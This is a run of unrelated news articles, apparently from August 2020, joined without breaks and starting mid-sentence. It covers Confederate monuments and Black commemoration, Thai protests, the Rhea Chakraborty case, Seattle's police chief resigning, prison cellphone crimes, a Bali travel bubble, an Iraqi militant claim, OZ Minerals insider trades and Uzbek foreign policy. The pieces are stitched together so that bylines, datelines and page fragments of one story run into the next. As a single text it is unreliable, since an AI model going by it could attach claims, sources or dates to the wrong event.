and we will protect ourselves, and Equity and justice goes hand in hand. These and other African American celebrations asserted their right to public spaces where previously enslaved people might have needed passes or were supposed to be invisible. Monuments and power For both Black and white residents, the actions they took to commemorate their cultures demonstrated the importance of residential and commercial spaces, such as city parks, neighborhoods and shopping districts, and especially official civic spaces such as city halls or courthouses. White organizations raised hundreds of statues in public spaces, especially in the South, during the height of Confederate memorializing in the Jim Crow and civil rights eras. White supremacist groups such as the United Daughters of the Confederacy erected these Confederate monuments to, in their words, correct history by celebrating the Lost Cause, the idea that slavery was a benevolent institution and the Confederate cause was just. These monuments represented a way to remind African Americans that public spaces, public commemoration and public advancement were not for them. And while protests that Confederate flags and monuments do not belong in public spaces have grown stronger since 2015, resistance is not new. African Americans have been protesting against Confederate monuments since they were erected. In Charleston, South Carolina, Black citizens in the 1880s and 1890s mocked and defaced the original monument to John C. Calhoun, a South Carolina congressman and U.S. vice president, who defended slavery as a positive good. Teacher and civil rights activist Mamie Garvin Fields remembered that as a child it seemed as if Calhouns statue was looking you in the face and telling you I am back to see you stay in your place. She recalled bringing something to scratch up the coat, break the watch chain, try to knock off the nose perhaps leading to its replacement in 1896 with a much taller monument. In 1923 the United Daughters of the Confederacy urged Congress to fund a monument to the faithful slave mammies of the South in Washington, D.C. The National Association of Colored Women mobilized several Black activist organizations in letter-writing campaigns, petitions and editorials and crushed the plan. The monument was never built. Turning away White residents had the power to ignore Black residents commemorative activities. Rather than watch the festivities or listen to Black speakers, they chose to leave town for the day, stay inside or express disgust among themselves. White people in Richmond celebrated the Fourth of July in the countryside, noted the Richmond Dispatch newspaper, partly to enjoy the days relaxation from business and partly to avoid the spectacle which they could not have avoided witnessing had they remained at home. The Baltimore American newspaper noted that those who were too thin-skinned to see Black residents celebrating the Fifteenth Amendment shut their doors, presenting the appearance that nobody was in. White residents refused to witness the procession, declaring they could not gaze upon such a humiliating scene. Remaking public space In 2017, white supremacists gathered in Charlottesville, Virginia on Aug. 11-12 for the Unite the Right rally, ostensibly to protect a monument of Robert E. Lee. It was a battle over what vision of America would prevail in public space in the 21st century. [The Conversations science, health and technology editors pick their favorite stories. Weekly on Wednesdays.] Chanting White lives matter and Jews will not replace us, the white supremacists violently attacked counterprotesters. Today, the tables are turned. Anti-racism protesters are transforming public space by tearing down Confederate monuments or demanding their removal. Years of activism combined with these same types of activities mourning, celebration of Black pasts, public demands for the future, politics in the streets have led to the removal of many Confederate monuments, despite the violence and fury of white supremacists. Activists are telling a new story of African American history out of the relics of a white supremacist past, just as they did in public celebrations in the 19th century. This article is republished from The Conversation, a nonprofit news site dedicated to sharing ideas from academic experts. Read more: Shannon M. Smith does not work for, consult, own shares in or receive funding from any company or organization that would benefit from this article, and has disclosed no relevant affiliations beyond their academic appointment. Share this article Whatsapp Facebook Twitter Linkedin News Desk (Agence France-Presse) Pathum Thani, Thailand Tue, August 11, 2020 09:24 526 6657ac82168da9fa101c8a4066d004d0 2 SE Asia Thailand,pro-democracy,protest,anti-government Free Young Thai protesters listened in rapt attention on Monday night as a pro-democracy activist called for open discussion of the unassailable monarchy's role in the kingdom, at a rally in Bangkok that drew thousands. The massive demonstration comes after weeks of near-daily student-led protests denouncing Premier Prayut Chan-O-Cha's military-aligned administration. The student-led movement has repeatedly demanded a rewrite to a 2017 constitution, the parliament's dissolution, and called for the government to "stop threatening the people". Protesters regard former army chief Prayut, who led a 2014 coup, as a remnant of Thailand's junta legacy as his premiership was ushered in under a military-scripted charter in last year's poll. But activists have waded further into sensitive territory by calling for the abolition of the kingdom's draconian royal defamation law, which protects the powerful, super-rich King Maha Vajiralongkorn. Monday's rally outside Bangkok -- which started off with anti-government songs -- ended with speeches by two activists who were arrested over the weekend and later released on bail. Lawyer Anon Numpa and activist Panupong Jadnok were charged with sedition for their alleged role at a massive July 18 rally. But their arrests came days after Anon led a discussion at a protest of the monarchy's role in the kingdom. He revisited the topic onstage Monday night, calling for the frank discussion of the unassailable institution. Protesters held up a three-finger salute, a symbol for freedom taken from "The Hunger Games" trilogy, after his speech. The king sits at the apex of Thai power, buttressed by the powerful military and elite billionaire clans. The royal defamation law carries a sentence of up to 15 years per charge, and experts say the law's vagueness makes open reporting or discussion of the royal family virtually impossible. Organizers said the next rally will be on Wednesday, which is a public holiday in Thailand commemorating the Queen Mother's birthday. 'No more fake democracy' Monday's rally closed with a video conference call by prominent Thai dissident Pavin Chachavalpongpun, a Kyoto-based academic who was granted asylum in Japan following his vocal criticism of Thailand's junta, broadcast on stage. Held at Thammasat University, the protest drew a diverse crowd from the LGBTQI community, high schoolers and elderly pro-democracy supporters. "Us seniors must support the students," said a 70-year-old woman who declined to be named. "We must fight for our sons, daughters, nephews and nieces." The kingdom has long been locked in a cycle of violent street protests and coups by a putsch-happy army. The coronavirus pandemic seized up Thailand's economy, leaving millions jobless and angry at the inequalities of a society perceived to favor the kingdom's elite establishment. "No more fake democracy," read a sign at the demonstration, which drew around 4,000 by nightfall, according to an AFP estimate. At the end of the night, the hashtag "Thammasat will not tolerate" was trending on Thai Twitter. Prayut has vowed to hold public forums with young people. But army chief Apirat Kongsompong -- an arch-royalist who in the past has angrily ranted about pro-democracy figures -- called "hatred of the nation" an incurable disease. Earlier Monday, a group of royalist supporters marched to parliament to counter a pro-democracy rally where protesters were burning models of army tanks and the constitution. Holding portraits of the monarch above their heads, the pro-monarchy group called for the protesters not to insult the king and carried posters saying "The people protect the king". Besides the arrests of two activists over the weekend, protest organizers in northern Phitsanulok province were detained for hours without charge, according to a Thai legal aid group. Rhea Chakraborty on Monday told the Supreme Court the Sushant Singh Rajput death case has been blown out of proportion as elections are due in Bihar Actress Rhea Chakraborty on Monday told the Supreme Court the Sushant Singh Rajput death case has been blown out of proportion as elections are due in Bihar and claimed she was being subjected to media trial due to "constant sensationalisation" causing her "extreme trauma". Chakraborty, 28, also submitted in an additional affidavit filed in the apex court saying she should not be made "scapegoat of political agendas" in the case, and alleged that Bihar Chief Minister Nitish Kumar is "reported to be responsible for registration of the FIR in Patna against her. There was no immediate reaction from the Bihar government to the allegation. The submission by the actress in a 12-page affidavit in which she said the "constant sensationalisation" was causing extreme trauma and infringement of privacy of her rights came a day ahead of the next hearing of her plea for transfer of the Bihar police FIR against her from Patna to Mumbai. The CBI has since taken over the probe after the Centre gave its approval following a recommendation by the Bihar government. It has re-registered the Bihar police's First Information Report(FIR) of alleged criminal conspiracy and abetment to suicide against Chakraborty, who was Rajputs girlfriend. Others named in the FIR are Rhea's brother Showik Chakraborty, father Indrajit Chakraborty, mother Sandhya Chakraborty, Rajput's house manager Samuel Miranda and Shruti Modi, the business manager of Rhea and Rajput. The FIR was based on the complaint of Rajputs 77-year-old father Krishna Kishore Singh, a resident of Patna. The Mumbai police had been also probing the alleged suicide following an accidental death report complaint lodged by Bandra police. Rajput, 34, was found hanging from the ceiling of his apartment in suburban Bandra in Mumbai on 14 June. The Enforcement Directorate (ED), meanwhile, began a fresh round of questioning of Chakraborty and her family members in connection with its probe in a money laundering case linked to Rajputs death. Rhea, Showik and her father reported at the office of the central probe agency in the Ballard Estate area in Mumbai around 11 am in response to their scheduled summons for Monday, officials said. Later, Shruti Modi also reported at the ED office. All the four were questioned by the agency on 7 August too. "Investigation into financial scams of thousands of crores by Enforcement Directorate & CBI never see the light of the day and at drop of a hat, cases gets registered even without there being a jurisdiction in the foundational case," Chakraborty''s affidavit claimed. In a sub-heading SENSATIONALISING AND MEDIA TRIAL in the affidavit, Chakraborty said she has already been "convicted" by the media in the matter even before any foul play has been established. She also contended that the media had convicted the accused in the 2G spectrum allocation case and the Aarushi Talwar case in "similar fashion" but later the accused were found innocent by the courts. "The issue is blown out of proportion in media. Media channels are examining and cross-examining all the witnesses in the case. Petitioner (Chakraborty) is already convicted by media even before a foul play in the death of Sushant Singh Rajput is established," it alleged, adding, "Petitioner urges before this court that she should be protected and not be made a scapegoat of political agendas". Chakraborty contended she has "no objection" if the top court refers the case to CBI by its order and even if the CBI investigates the matter the jurisdiction will still be with the courts at Mumbai and not at Patna. The affidavit by the actress which stated that the ruling party in Bihar and Centre is same and the said party is in minority in the state of Maharashtra, also alleged that the purported transfer of the case to a Patna court and further to the CBI on 4 August is only to render her petition in the apex court infructuous. It alleged that the transfer of investigation to the CBI by Bihar Police is illegal and bad in law. In her additional affidavit, she said two actors Ashutosh Bhakre and Sameer Sharma were reported to have committed suicide in the last one month and "yet no whisper about the same in power corridors." "In case of death of Sushant Singh Rajput, Chief Minister of Bihar is reported to be responsible for registration of FIR in Patna," the affidavit claimed, adding, "The sad incident of the death of Sushant Singh Rajput who hailed from Bihar unfortunately occurred just in wake of elections in Bihar. This has led to the issue of suicide of the deceased being isolated and blown out of proportion." Assembly elections in Bihar are due in October-November this year. Referring to a provision of the CrPC, which deals with offence triable where the act is done or consequence ensues, the affidavit said it appeared to have been "misconstrued to usurp jurisdiction in Bihar under political pressure". From a plain reading of FIR, neither any such act which is done in the State of Bihar, nor any such consequence which has ensued in State of Bihar, is forthcoming by reason of which such act and consequence is an offence, out of any alleged in the FIR, it said, adding that jurisdiction lies only with the jurisdictional court in Maharashtra. It alleged that admittedly the case registered by the Bihar Police was transferred to CBI for the reasons of sensitivity and inter-state ramifications. The concept of sensitivity is alien to criminal jurisprudence. There is not even a remote whisper of any material to support the theory of inter-state ramification, it said, Recently, Mumbai Police filed an affidavit in the apex court opposing a CBI probe in the Rajputs death case and said that it was carrying out an impartial investigation in the matter. Rajput's father too has filed a reply affidavit before the court in which he has defended the Bihar Police action and accused the Mumbai police of negligence. In her plea filed in the apex court, Chakraborty has alleged that Rajput's father has used his influence in dragging her name in the FIR. Seattle Police Chief Carmen Best has resigned her post after the city council imposed cuts on the force's budget: AP The head of the Seattle Police Department (SPD) has abruptly stepped down after the city council voted 7-1 to cut the police budget by less than 1 per cent. Carmen Best, the first black woman to head up the department, announced her decision in an email to staff, writing that when its time, its time. I am confident the department will make it through these difficult times. You truly are the best police department in the country and please trust me when I say the vast majority of people in Seattle support you and appreciate you. Ms Best had taken umbrage at proposals to defund the SPD, which were first raised after the killing of George Floyd in Minneapolis and which have only gathered pace since. At a press conference with mayor Jenny Durkan on Saturday, she acknowledged that overall, there are some good approaches in the proposals, pointing out that the department had had many of the same ideas already. But what is problematic, she said, is that these are approaches without any clarity on how they will become reality. What is the plan? The push from council and some of our community is to do these large-scale changes in 2020 with no practical plan for community safety. And I believe wholeheartedly that is completely reckless. While many protesters had demanded a 50 per cent cut, the measure passed by the council will take just $3.5m out of the departments 2020 budget of $409m. The cuts are targeted at both specific units and executive pay, and also eliminate 100 police officers from the force. The SPD was investigated for excessive use of force nearly a decade ago, with the Justice Department finding that its officers escalated encounters over minor offenses, too readily used weapons and that where they used force, they do so in an unconstitutional manner nearly 20 percent of the time. And after years of tension over these practices, Seattle has seen some of the most dramatic demonstrations in any US city since Mr Floyds death. Story continues At one point, protesters not only clashed with police but also barricaded themselves into a police-free area, the Capitol Hill Autonomous Zone. The project eventually collapsed under the weight of various social problems, including gun violence and homelessness, that residents struggled to address. Nonetheless, demonstrations against the police departments conduct continue. As the defunding measure worked its way through the city council, some members reported being harassed by protesters who gathered outside their homes to demand the measure be expanded to halve the forces budget. Yet even the smaller cut has been controversial, with the Downtown Seattle Association of businesses complaining that the measure removes officers from homelessness outreach teams. Additional reporting by Reuters COLUMBIA A South Carolina inmate used a smuggled cellphone to arrange an April shooting at the home of a Columbia woman he previously dated, authorities said Tuesday as they made their latest call for federal action to jam cellular service behind the wall. The woman, who was not injured, told investigators it was not the first time Harvester Jackson, 27, had threatened her while serving a 10-year sentence at Kirkland Correctional Institution. She also accused Jackson of being behind a June 2019 incident in which someone shot at her car and set it on fire, law enforcement officials said. Jackson, locked up since 2013 on armed robbery and burglary convictions, now faces charges of accessory to attempted murder and arson, and another accessory charge related to the shooting at the home on Percival Road. The case remains under investigation, and no one besides Jackson has been arrested in connection with either shooting targeting the woman. Richland County court records do not list an attorney for Jackson, and attempts to reach his family were unsuccessful. At a Columbia news conference Tuesday, S.C. Department of Corrections Director Bryan Stirling pointed to the case as the latest evidence that federal lawmakers must pass legislation allowing state officials to jam the use of cellphones in prisons. Such a measure would require an act of Congress. The Cell Phone Jamming Reform Act, co-sponsored by Sen. Lindsey Graham, now sits in the U.S. Senate. "There has to be a tipping point where we have to do something about this," Stirling said. He was flanked by Richland County Sheriff Leon Lott, who called cellphones a "weapon" that "need to be taken away" from the state's inmates. Despite a push to keep out the banned devices, corrections workers in many instances fail to prevent visitors and others from smuggling them in. More than 25,000 cellphones have been confiscated at state prisons in the past five years, according to the Corrections Department. Stirling has said phones contributed to the deadly April 2018 riot at Lee Correctional Institution, where inmates communicated about the violence that spread to three separate housing units. The melee, one of the deadliest inmate riots in U.S. history, left seven men dead. Other issues with the phones have been tied to gang activity. In 2010, a Crip ordered a hit on Corrections Capt. Robert Johnson after he and his contraband team seized a package stuffed with cellphones, chargers, marijuana and SIM cards. It was worth about $50,000 behind bars. To avenge the loss, the Crip used a cellphone and a Green Dot prepaid cash card to arrange Johnsons death for $6,000. The gunman kicked open the front door to Johnsons home while he was getting ready for work and pumped six rounds into him with a .38-caliber revolver. Johnson survived, but just barely. With the man who shot him now behind bars, Johnson has made it his mission to convince the Federal Communications Commission to allow prisons to jam cell signals and render the illicit phones useless. But he and Stirling, the Corrections director, have faced stiff pushback from the cellphone industry, whose leaders contend the jamming devices could interfere with cellphones on the outside. For his part, Stirling said Tuesday that a field test at Broad River Correctional Institution last year, approved by the U.S. Department of Justice, showed that jamming can be strictly limited, even to an area as small as a single prison cell. Stirling's department has bolstered its efforts to keep the phones out. They've added high-tech body scanners, like those at airports, to prison entrances and bought other mobile scanners designed specifically to detect cellphones. They've also erected perimeter nets, for when people try lobbing bags of phones and other contraband over outside fences and into prison yards. But those measures in many cases still don't work, Stirling said. In some instances, corrections workers have been caught helping inmates smuggle phones in, too. That's why it's critical to allow prisons to use jamming technology to fend off illegal activity, Stirling contends. Inmates have used the phones to coordinate contraband drops, steal identities, file fraudulent income tax returns for other peoples refunds and carry out many other scams. In November 2018, five inmates were arrested in connection with a massive scheme in which prisoners posing as young women on dating sites extorted more than $560,000 from 442 military service members. One of those targeted was Army veteran Jared Johns of Greenville, who killed himself after he received texts from inmates posing as the parents of a 17-year-old girl who had purportedly sent him nude photos, The Greenville News reported. Another inmate used an illegal phone to run an extensive marijuana smuggling business from Broad River, with weed shipped in from California, authorities said. He then used those profits to order a mail bomb on the dark web with bitcoin in 2017. The target: his ex-wife. A postal inspector reached the bomb first, and the plot failed. In the most recent case in Columbia, investigators obtained a smart phone from Jackson with texts to the woman whose home was shot up. The messages showed Jackson threatened to arrange the shooting if the woman didn't provide him information on another individual, authorities said. Authorities said that when the woman refused, she became the target. Stirling said Jackson is now on secure lockdown at Kirkland. "He shouldn't get his hands on a cellphone," he said. "But I can't guarantee it." Jackson had eight prior disciplinary actions since 2014 for attempting to possess, or possessing, a cellphone, prison records show. Australians could be allowed to travel to Bali from as early as next month as Indonesian officials push for a travel bubble between the two nations. Indonesia's Minister for Maritime Affairs and Investment Luhut Binsar Pandjaitan said Australia is one of a select number of countries officials would like to welcome tourists ahead of plans to reopen Bali on September 11. 'We have to carefully selected (countries), so I think Australia, New Zealand later on, China, of course, and maybe South Korea and Japan. We are studying day by day,' he said. Indonesian officials are hoping to implement a travel bubble with Australia. Pictured: Atuh Beach in Bali (stock image) Mr Luhut, who was speaking at an address to the Jakarta Foreign Correspondents Club on Monday, said discussions would be held with the Australian government. 'Right now we negotiate with Australia. We will see what happens, what they need from us and what we need from them,' he said. 'We need to negotiate standard of care because nobody can claim they're better than others. Look at America right now. Look at Singapore right now.' Mr Luhut said he believes Indonesia is currently handling the coronavirus pandemic 'okay' but needs to remain vigilant. According to the minister, Indonesia remains on track to reopen its international borders in September. Bali welcomed domestic travellers on July 31 and saw about 4,000 additional arrivals daily. Tourism brings in billions of dollars to the Indonesian economy each year. Indonesia's Minister for Maritime Affairs and Investment Luhut Binsar Pandjaitan said his government would speak to Australia about the proposed travel bubble Pictured: Flight attendants wearing face mask walk through Bali's international airport during the coronavirus pandemic There were more than 16million visitors to Indonesia last year, including 1.3million Australians, Sydney Morning Herald reported. Despite Mr Luhut's hopeful comments, there is little indication the Australian government would implement a travel bubble with Indonesia anytime soon. Prime Minister Scott Morrison said Australia's international borders remain closed for the foreseeable future and citizens are advised against leaving. On Tuesday, NT Chief Minister Michael Gunner warned border controls on visitors from coronavirus hotspots would remain in place for at least 18 months. Queensland has barred visitors from NSW and Victoria, while WA Premier Mark McGowan announced his borders could remain shut until mid-next year. Indonesia has recorded more than 127,000 coronavirus cases and more than 5,700 deaths. The U.S. military said Tuesday it was investigating a claim by a newly formed Iraqi Shiite militant group of a bombing at the Iraq-Kuwait border. Iraq and Kuwait denied an attack had taken place. Iraq later said an explosion targeted a U.S.-led coalition convoy on Tuesday in the Taji area, north of Baghdad, causing only minor damage. No one claimed responsibility for that attack. The little-known Ashab al-Kahf group claimed in an overnight statement it destroyed ``equipment and vehicles belonging to the American enemy'' in a bombing targeting a border crossing south of the Iraqi city of Basra. The group later published an 11-second video it claimed showed the blast, according to the SITE Intelligence Group, which monitors militant groups. The out-of-focus video shows what appeared to be an explosion and lights in the distance, with a man speaking in Arabic. The Associated Press could not immediately verify the video. U.S. Army Maj. John Rigsbee, a Central Command spokesman, said the American military was looking into reports of the explosion. The Iraqi military denied the border attack took place, calling the video a fabrication intended to ``mislead public opinion.'' A Kuwait military statement carried by the state-run KUNA news agency similarly denied reports about ``a sabotage attack on a northern border post.'' Kuwait has been a staunch U.S. ally since the 1991 Gulf War expelled Saddam Hussein's occupying Iraqi forces. Today, Kuwait hosts some 13,500 American troops, many at Camp Arifjan, home to the forward command of U.S. Army Central. Since the 2003 U.S.-led invasion that toppled Saddam and the later war against the Islamic State group, American troops and contractors sometimes travel by road with equipment and supplies between the two countries. Ashab al-Kahf, or ``Companions of the Cave'' in Arabic _ a reference to a Christian and Islamic story about youths escaping religious persecution hiding in a cave for hundreds of years _emerged alongside renewed threats by Shiite militias amid rising U.S.-Iran tensions. In January, an American drone strike killed a top Iranian general in Baghdad. Tehran responded with a ballistic missile attack that wounded dozens of American troops at a military base in Iraq. The Ashab al-Kahf initially threatened U.S. forces in April and claimed an attack on a convoy in July in Iraq's Salaheddin province. On Aug. 9, another explosion targeted a convoy in the southern Dhi Qar province, reportedly causing minor damage. Search Keywords: Short link: New Delhi: The National Green Tribunal has directed the Centre to clarify its stand on distilleries and sugar mills in Uttar Pradesh manufacturing, storing and transporting ethanol without obtaining permission from the Petroleum and Explosives Safety Organisation (PESO). A bench headed by NGT Chairperson Justice Swatanter Kumar ordered the ministries of Environment and Petroleum, PESO and Central Pollution Control Board (CPCB) to apprise it what action it was mulling to take against industrial units running without license. We direct the counsel appearing for MoEF, Ministry of Petroleum, PESO and CPCB to take clear instructions as to what course of action they propose to adopt, particularly in regard to the matter in issue and with regard to the industries which are generating absolute Ethanol without any license, the bench said. The matter is listed for next hearing on December 13. The order came during hearing of a contempt plea filed by NGO SAFE alleging that authorities were allowing illegal operation of these units without license and in contravention of the Manufacture, Storage and Import of Hazardous Chemical Rules 1989, putting lives at grave risk. The NGO had referred to UP governments affidavit and contended that only two of the 35 distilleries had requisite license while the others were manufacturing ethanol illegally. The industries manufacturing absolute alcohol or ethanol were not only operating illegally without the requisite permission from competent authorities, but also manipulating the actual total production, storage and sales figures of absolute alcohol causing not only huge financial loss to state revenue and also jeopardising safety of people and environment, the NGO had said in its contempt plea. The NGT on May 9 had directed that no manufacturer will produce absolute alcohol without seeking permission from the Ministry of Commerce, Chief Controller Explosives and other authorities. It is in view of the fact that under the Manufacture, Storage and Import of Hazardous Chemical Rules, 1989 and Chemical Accidents (Emergency Planning, Preparedness and Response) Rules 1996 as notified under the provision of Environment (Protection) Act, 1986 such permission is required, the tribunal had said. For all the Latest India News, Download News Nation Android and iOS Mobile Apps. It is not uncommon to see companies perform well in the years after insiders buy shares. The flip side of that is that there are more than a few examples of insiders dumping stock prior to a period of weak performance. So before you buy or sell OZ Minerals Limited (ASX:OZL), you may well want to know whether insiders have been buying or selling. Do Insider Transactions Matter? It is perfectly legal for company insiders, including board members, to buy and sell stock in a company. However, such insiders must disclose their trading activities, and not trade on inside information. We don't think shareholders should simply follow insider transactions. But it is perfectly logical to keep tabs on what insiders are doing. For example, a Columbia University study found that 'insiders are more likely to engage in open market purchases of their own companys stock when the firm is about to reveal new agreements with customers and suppliers'. See our latest analysis for OZ Minerals The Last 12 Months Of Insider Transactions At OZ Minerals In the last twelve months, the biggest single purchase by an insider was when Independent Non-Executive Director Charles Sartain bought AU$273k worth of shares at a price of AU$9.09 per share. Although we like to see insider buying, we note that this large purchase was at significantly below the recent price of AU$13.95. Because the shares were purchased at a lower price, this particular buy doesn't tell us much about how insiders feel about the current share price. OZ Minerals insiders may have bought shares in the last year, but they didn't sell any. The average buy price was around AU$7.92. We don't deny that it is nice to see insiders buying stock in the company. But we must note that the investments were made at well below today's share price. The chart below shows insider transactions (by companies and individuals) over the last year. If you click on the chart, you can see all the individual transactions, including the share price, individual, and the date! Story continues There are plenty of other companies that have insiders buying up shares. You probably do not want to miss this free list of growing companies that insiders are buying. Does OZ Minerals Boast High Insider Ownership? For a common shareholder, it is worth checking how many shares are held by company insiders. Usually, the higher the insider ownership, the more likely it is that insiders will be incentivised to build the company for the long term. It appears that OZ Minerals insiders own 0.5% of the company, worth about AU$22m. This level of insider ownership is good but just short of being particularly stand-out. It certainly does suggest a reasonable degree of alignment. What Might The Insider Transactions At OZ Minerals Tell Us? It doesn't really mean much that no insider has traded OZ Minerals shares in the last quarter. But insiders have shown more of an appetite for the stock, over the last year. Insiders own shares in OZ Minerals and we see no evidence to suggest they are worried about the future. So while it's helpful to know what insiders are doing in terms of buying or selling, it's also helpful to know the risks that a particular company is facing. In terms of investment risks, we've identified 1 warning sign with OZ Minerals and understanding this should be part of your investment process. If you would prefer to check out another company -- one with potentially superior financials -- then do not miss this free list of interesting companies, that have HIGH return on equity and low debt. For the purposes of this article, insiders are those individuals who report their transactions to the relevant regulatory body. We currently account for open market transactions and private dispositions, but not derivative transactions. This article by Simply Wall St is general in nature. It does not constitute a recommendation to buy or sell any stock, and does not take account of your objectives, or your financial situation. We aim to bring you long-term focused analysis driven by fundamental data. Note that our analysis may not factor in the latest price-sensitive company announcements or qualitative material. Simply Wall St has no position in any stocks mentioned. Have feedback on this article? Concerned about the content? Get in touch with us directly. Alternatively, email editorial-team@simplywallst.com. OVERLAND PARK, Kan. - A former alternative school principal in the Shawnee Mission School District won't be moving to Shawnee Mission West after all. He'll get an alternative assignment. The change of plans was announced during Monday's school board meeting with Walt Thompson, not Paul Colwell, getting the interim associate principal assignment. Watch: Sanjay Dutt discharged from hospital, returns home after 2 days Bollywood actor Sanjay Dutt was released from the hospital on Monday. The actor was admitted to Mumbai's Lilavati hospital after he complained of breathlessness and uneasiness in the chest. Dutt also tested negative for Covid-19. Hospital officials said the actor is absolutely fine. On Saturday, Sanjay tweeted that he had tested negative for Covid-19 but would be kept 'under medical observation'. Just wanted to assure everyone that I'm doing well. I'm currently under medical observation and the Covid-19 report is negative as well. With the help and care of the excellent doctors, nurses, and staff at Lilavati hospital, I should be home in a day or two. Thank you for your well wishes and blessings. Please stay safe, everyone, he had written. ...read more BAKU, Azerbaijan, Aug. 11 Trend: Committed to the development of mutually beneficial relations with all foreign partners, Uzbekistan concentrates its main foreign policy efforts on the most important areas identified in the Strategy of Actions for five priority areas of development of the Republic of Uzbekistan in 2017-2021. This document formulates the country's key priorities in the field of foreign policy: - strengthening the independence and sovereignty of the state, further strengthening the place and role of the country as a full-fledged subject of international relations, joining the number of developed democratic states, creating a belt of security, stability and good-neighborliness around Uzbekistan; - strengthening the international image of the Republic of Uzbekistan, bringing to the global community objective information about the reforms being carried out in the country; - improvement the regulatory and legal framework for foreign policy and foreign economic activity of Uzbekistan, as well as the legal framework for international cooperation; - settlement of issues of delimitation and demarcation of the state border of Uzbekistan. In general, Uzbekistan's foreign policy priorities aim to build a stable, just and democratic state, promoting the country's external openness and developing regional and multilateral interaction. "Basic foundations" of the foreign policy of a renewed Uzbekistan: The priorities of the country's modern foreign policy are in the plane of the tasks specified in the "Strategy of Action" and are reflected in practical steps to develop new approaches to expand ties in the international arena. In this regard, a number of relevant program documents have been developed and adopted, moreover, road maps have been approved for the further development of multifaceted cooperation with countries of the world, including Turkey, India, China, Japan, Germany, France, Afghanistan, Kazakhstan, Turkmenistan and others. During visits at the highest and high levels, large-scale work is being carried out to promote a proactive, open, pragmatic and elaborated foreign policy course that meets the national interests of the country and is aimed at expanding relations with the states of near and far abroad. Certainly, the new priorities and approaches require a radical restructuring of the structure of the foreign policy department. New subdivisions were created in the Foreign Ministry, embassies were opened in Belarus and Oman, a number of consulates general in cities of Russia and Kazakhstan. The economic component of diplomatic activity has been strengthened. Cooperation in the international arena should assist to solve problems on the socio-economic development of Uzbekistan by studying the best world experience, establishing relations with foreign states, which will contribute to the formation of the most favorable business environment and investment climate in the country. In this context, the foreign policy strategy of the Republic has acquired new accents in the development of trade and economic cooperation with foreign countries and attracting foreign investment, advanced technologies in production, expanding the geography of domestic exports. As a result, in 2019, the inflow of foreign direct investment to our country increased. Their volume amounted to $ 4.2 billion, which is 3.7 times more than in 2018. According to the results of the first half of this year, despite all the difficulties and restrictions associated with curbing the spread of Covid-19, the volume of foreign investment in the economy of Uzbekistan amounted to $ 4.8 billion, including direct investment - $ 3.2 billion. This was also facilitated by the fact that for the first time in the last 10 years, the country's position in the credit risk rating of the Organization for Economic Cooperation and Development (OECD) improved. According to the World Bank's Doing Business rating, the country rose by 7 positions ranking 8th place among 190 countries in terms of business registration, and was among best reformers. One of the most authoritative magazines in the world - "Economist" (Great Britain) recognized Uzbekistan as the country of the year - the state where reforms have been carried out at the fastest pace since 2017. Uzbekistan has introduced a visa-free regime for citizens of 86 states and a simplified visa regime for citizens of 57 states. Last year, 6.7 million foreign tourists visited the country - an increase of 4.7 million, or 3.3 times more than in 2016. The new foreign policy pursued by Uzbekistan is getting a worthy assessment of the international community. In particular, Richard Weitz, director of the US Hudson Institute's Center for Political-Military Studies, believes that Uzbekistan's foreign policy initiatives open up new opportunities for whole Central Asia. The republic is promoting an agenda that is based on the idea of a joint solution to existing problems. Researcher of the Eurasian Program of the Rome Institute for Geopolitical Research (IsAG) Fabrissi Vielmini emphasizes that Uzbekistan, which has been aloof from regional processes for a long time, is now acting in a new way. Tashkent, being the heart of the region, is returning to its natural role as a stabilizing state in Central Asia. Andrei Grozin, senior researcher at the Institute of Oriental Studies of the Russian Academy of Sciences, also draws attention to the fact that the system of interstate relations is currently transforming in Central Asia. According to him, recently Tashkent has demonstrated high activity in various areas. There are signs of a significant recovery in relations between the countries of the region. A new step in Tashkent's foreign policy was the activation in the Afghan direction. Uzbekistan has noticeably expanded bilateral ties with Afghanistan, actively joined in multilateral efforts to resolve the Afghan problem. A major event in bilateral relations was the official visit to Uzbekistan of the President of Afghanistan, Ashraf Ghani, which consolidated "a qualitatively new level of political relations and practical cooperation between the two countries", including agreements on the implementation of major projects for the construction of the Surkhan-Puli-Khumri power transmission line and the Mazar-i-Sharif railway - Herat. An Educational Center for Afghan Citizens opened in Termez. To date, 136 Afghan students have completed their studies at the Center, 96 of which received bachelor's degrees in Uzbek language and literature, 40 took short-term courses in the Russian language, agriculture and entrepreneurship. Today, some of them work in the parliament, ministries and departments of the country, teach at universities in Afghanistan, and run independent businesses. Tashkent initiated and hosted a high-level international conference on Afghanistan "Peace Process, Security Cooperation and Regional Interaction" that made an important contribution to the start of the peace process. On January 24 of this year, the President of the Republic of Uzbekistan in his Address to the Oliy Majlis brought to the fore the issues of implementing large-scale democratic transformations and structural reforms aimed at solving strategic tasks for modernizing the country in the coming years. The Address outlines the main priority areas of foreign economic policy. The announcement of the "Year of Development of Science, Education and the Digital Economy" emphasizes the need to create a society and infrastructure in Uzbekistan that can compete in all areas. For this, firstly, it is necessary to educate highly qualified specialists, including in the field of foreign policy and foreign economic activity, based on the use of advanced foreign experience, modern innovative, pedagogical technologies and scientific developments, effective coordination of the activities of educational and research institutions of the country. The President also paid great attention to the development of science using foreign experience and the establishment of cooperation with foreign universities and research centers. Updated priorities An important priority of Uzbekistan's foreign policy is the formation of a balanced system of strategic partnership and cooperation with the world's leading states and international organizations. This approach is designed to provide an effective solution to the tasks of modernizing the economy, maintaining stability and security, and creating favorable conditions for cooperation in Central Asia. Thanks to contacts at the highest level, Tashkent has brought relations with the leading countries of the world to a fundamentally new level. A multifaceted strategic partnership and allied relations with the Russian Federation are consistently developing. The previously concluded agreements on strategic partnership, on allied relations, as well as the Declaration on the deepening of strategic partnership between the Russian Federation and Uzbekistan are filled with new content and are being implemented in practice. The strategic partnership of Uzbekistan with the United States of America has reached a qualitatively new level, developing today steadily and predictably on the basis of the principles of equality, mutual respect, trust and consideration of each other's interests. Further efforts of the parties should be aimed at finding mutually beneficial areas of strategic partnership. Relations with the Republic of Turkey have been brought to a strategic level. The comprehensive strengthening and development of Uzbek-Turkish relations is fully consistent with the new foreign policy of Uzbekistan. At the same time, the common language, religion, traditions and customs with the Turkish people form a solid foundation for a comprehensive deepening and expansion of cooperation based on mutual respect and consideration of each other's interests. The official visit of the President of the Republic of Uzbekistan Shavkat Mirziyoyev to Turkey on February 19-20 at the invitation of Turkish leader Recep Erdogan became a vivid evidence of the intensification of the strategic dialogue. Uzbekistan consolidates its strategic partnership with the People's Republic of China as a close regional neighbor and a friendly state playing a key role in world politics and economy. Similar achievements in strengthening the strategic partnership with the Republic of Korea are observed across the entire range of issues in bilateral relations. The country is interested in actively attraction of direct Korean investment and advanced technologies, soft loans and financial 